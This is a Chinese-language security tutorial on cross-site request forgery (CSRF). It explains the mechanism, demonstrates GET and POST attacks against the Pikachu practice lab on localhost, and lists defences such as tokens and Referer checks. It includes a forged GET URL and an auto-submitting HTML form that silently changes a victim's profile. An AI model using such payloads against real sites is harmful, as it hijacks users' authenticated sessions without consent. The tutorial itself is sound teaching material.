目录
CSRF漏洞(跨站请求伪造)是一种网络的攻击方式,也被称为One Click Attack或者Session Riding,是一种挟制用户在当前已登录的Web应用程序上执行的非本意操作的攻击方法。与XSS相比,XSS利用用户对指定网站的信任,CSRF利用网站对用户网页浏览器的信任。
CSRF漏洞的产生主要条件包含一下两个方面:
- 用户可以控制前端传给后端的参数。
- 未设置Token或者类似的甄别请求源身份的参数
(Token)是什么意思
Token(令牌)是一种特殊的数据结构或对象,它通常用于身份验证、授权和数据传输等领域。在身份验证和授权方面,Token是一种用于验证用户身份和授权访问资源的凭证。当用户通过用户名和密码等凭据进行身份验证时,系统可以生成一个Token作为身份验证的结果,并将该Token返回给用户。后续用户可以使用该Token进行访问受限资源或执行特定操作,而无需再次提供用户名和密码。这种基于Token的身份验证方法可以提高系统的安全性和用户体验,避免用户名和密码等敏感信息在网络中频繁传输。
CSRF漏洞原理
当用户打开或者登录某个网站的时,浏览器与Web服务器之间将会产生一个会话,在会话为结束之前,用户可以利用当前权限对该网站进行已授权操作,如果会话结束了,Web应用程序将会提示你“您的会话已经过期”“请重新登录”等信息,CSRF攻击在会话未结束之前。
(1)用户User打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A。
(2)在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A。
(3)用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B。
(4)网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A.
(5)浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户User的Cookie息以User的权限处理该请求,导致来自网站B的恶意代码被执行。
漏洞利用
常见的CSRF漏洞,分为两种类型:SCRF_GET类型和SCRF_POST类型
(1)CSRF_GET类型
HTTP请求为GET请求,同时未设置Token或者其他甄别请求源身份的参数,且请求参数可以被控制,则会造成CSRF_GET类型漏洞。
基于pikachu平台,演示一个完整的CSRF_GET类型的漏洞利用过程。
平台分析
查看数据库中的pikachu平台的所以账号密码密码均为123456,任意使用一个账号进行登录。
这里用kobe进行登录
单机修改个人信息,打开调试器F12查看网络选项卡,
点击submit,查看请求串为:http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=15988767673&add=nba+lakes&email=kobe%40pikachu.com&submit=submit
实施攻击
如果退出登录则不能修改用户数据,即攻击失败
(2)CSRF_POST类型
HTTP 请求为POST请求,同时未设置Token或者其他甄别请求源身份的参数,且请求参数可
被控制,则会造成 CSRF POST 漏洞。
下面基于 pikachu 平台,演示一个完整的 CSRF POST 漏洞利用过程。
平台分析
登录因为kobe已经被我们修改,本次我们使用lili登录到网站
登录lili,点击修改信息
实施攻击
搭建一个攻击服务器,新建一个csrf_post.html文件
<html>
<script>
// 当窗口加载时,执行以下JavaScript代码
window.onload = function() {
// 找到ID为"submit"的元素(提交按钮)并模拟点击它
document.getElementById("submit").click();
}
</script>
<body>
<!-- 表单元素,使用POST方法提交到指定的URL -->
<form method="post" action="http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
<!-- 用于性别的输入字段,初始值为"ytdd" -->
<input id="sex" type="text" name="sex" value="ytdd" />
<!-- 用于电话号码的输入字段,初始值为"ytdd" -->
<input id="phonenum" type="text" name="poonenum" value="ytdd" />
<!-- 用于地址的输入字段,初始值为"ytdd" -->
<input id="add" type="text" name="add" value="ytdd">
<!-- 用于电子邮件的输入字段,初始值为"ytdd@pikachu.com" -->
<input id="email" type="text" name="email" value=" ytdd@pikachu.com" />
<!-- 提交按钮 -->
<input id="submit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
当这个HTML文档在Web浏览器中加载时,<script>标签内的JavaScript代码会自动模拟点击提交按钮(<input id="submit" type="submit" name="submit" value="submit" />)。这个动作实际上会提交表单.
打开新的选项卡,访问攻击服务器csrf_post.html,发现用户信息被修改。
CSRF漏洞防御
验证Token:
- 在每个表单或敏感操作的请求中包含一个随机生成的CSRF令牌。
- 服务器在接收到请求时验证提交的令牌是否与用户会话中的令牌匹配。
- 如果令牌不匹配或缺失,则服务器拒绝请求,并且操作不会执行。
验证HTTP头的Referer字段:
- 当用户从一个网页访问另一个网页时,浏览器会在请求的HTTP头中包含Referer字段,指示请求来源的URL。
- 服务器可以验证请求的Referer字段是否与预期的来源URL匹配。
- 如果Referer字段不匹配或者不存在,服务器可以拒绝请求。
二次验证:
- 对于执行敏感操作的请求,如更改密码或删除账户,应要求用户再次确认其意图。
- 用户可能需要提供额外的信息或进行双重身份验证,例如输入密码或通过其他形式的验证流程。